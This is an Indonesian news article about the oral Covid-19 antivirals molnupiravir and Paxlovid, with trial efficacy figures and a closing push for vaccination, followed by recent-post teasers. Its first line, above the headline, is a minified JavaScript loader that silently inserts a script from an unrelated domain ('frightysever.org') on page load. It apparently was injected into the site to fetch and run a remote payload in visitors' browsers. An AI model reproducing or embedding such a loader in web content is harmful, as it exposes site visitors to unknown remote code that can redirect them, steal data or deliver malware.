(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Obat Molnupiravir dan Paxlovid Jadi Pengobatan Penting Bagi Penderita Covid-19 di Rumah


KANALKALIMANTAN.COM – Para ilmuwan sudah mengembangkan dua obat antivirus yang diyakini efektif menyembuhkan Covid-19, yakni molnupiravir dari Merck dan Ridgeback Therapeutics, serta paxlovid dari Pfizer.

Jika disahkan dalam beberapa minggu mendatang, obat-obatan ini bisa menjadi pilihan pengobatan baru yang penting bagi penderita Covid-19, terutama yang beriskiko tinggi terkena infeksi.

The Conversation melaporkan bahwa hingga saat ini pengobatan Covid-19 di rumah sakit mengandalkan terapi antibodi monoklonal.

Namun, terapi antibodi ini hanya bekerja dengan menghalangi virus memasuki sel. Selain itu, obat juga harus diberikan dalam pengaturan yang dipantau oleh dokter.

 

 

Baca juga: Burung Merpati Ini Dibeli Warga Kota Tegal dengan Harga Rp2 Miliar

Sayangnya, banyak pasien yang seharusnya bisa sembuh dengan antibodi monoklonal tidak memiliki akses karena fasilitas kesehatan terdekat tidak memilikinya.

Sementara itu, molnupiravir dan Paxlovid merupakan obat oral yang dapat dikonsumsi di rumah untuk mencegah komplikasi Covid-19.

Ilustrasi obat dan apotek. (Dok: Istimewa)

Molnupiravir mengurangi risiko rawat inap atau kematian hingga 50% pada pasien dewasa yang mengalami gejala Covid-19 ringan hingga sedang.

Paxlovid juga mengurangi risiko tersebut hingga 89% untuk orang yang mengonsumsinya pada hari ketiga setelah terifeksi. Angkanya menurun hingga 85% pada orang yang sudah terinfeksi dalam lima hari.

Baca juga: Jangan Merasa Tertipu, Beli Ban Baru Sekarang Memang Tak Dibungkus Plastik

Hal terpenting adalah tidak ada pasien meninggal setelah mengonsumsi kedua obat antivirus tersebut dalam penelitian.

Kemungkinan, kedua obat tidak membantu pasien untuk pulih lebih cepat pada pasien Covid-19 yang sudah dirawat di rumah sakit. Sebab, sebagian besar pasien yang dirawat sudah mengalami peradangan parah, bukan karena virus masih bereplikasi di dalam tubuh mereka. Sementara kedua obat itu bekerja dengan menahan virus bereplikasi.

Obat antivirus lain yang sedang dalam pengembangan adalah remdesivir, yang dikembangkan menjadi bentuk oral, dan antibodi monoklonal suntik bekerja tahan lama.

Ilmuwan juga mencoba menggunakan obat-obatan yang ada untuk mengobati Covid-19, seperti steroid budesonide dan antidepresan fluvoxamine.

Baca juga: Penyidik KPK Terus Bekerja di HSU, Giliran Periksa Ketua Dewan hingga Staf Bupati

Meski obat sudah dikembangkan, pencegahan masih merupakan strategi terbaik. Vaksin Covid-19 terus menjadi ‘alat’ paling efektif untuk membantu mengakhiri pandemi. (Suara.com)


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.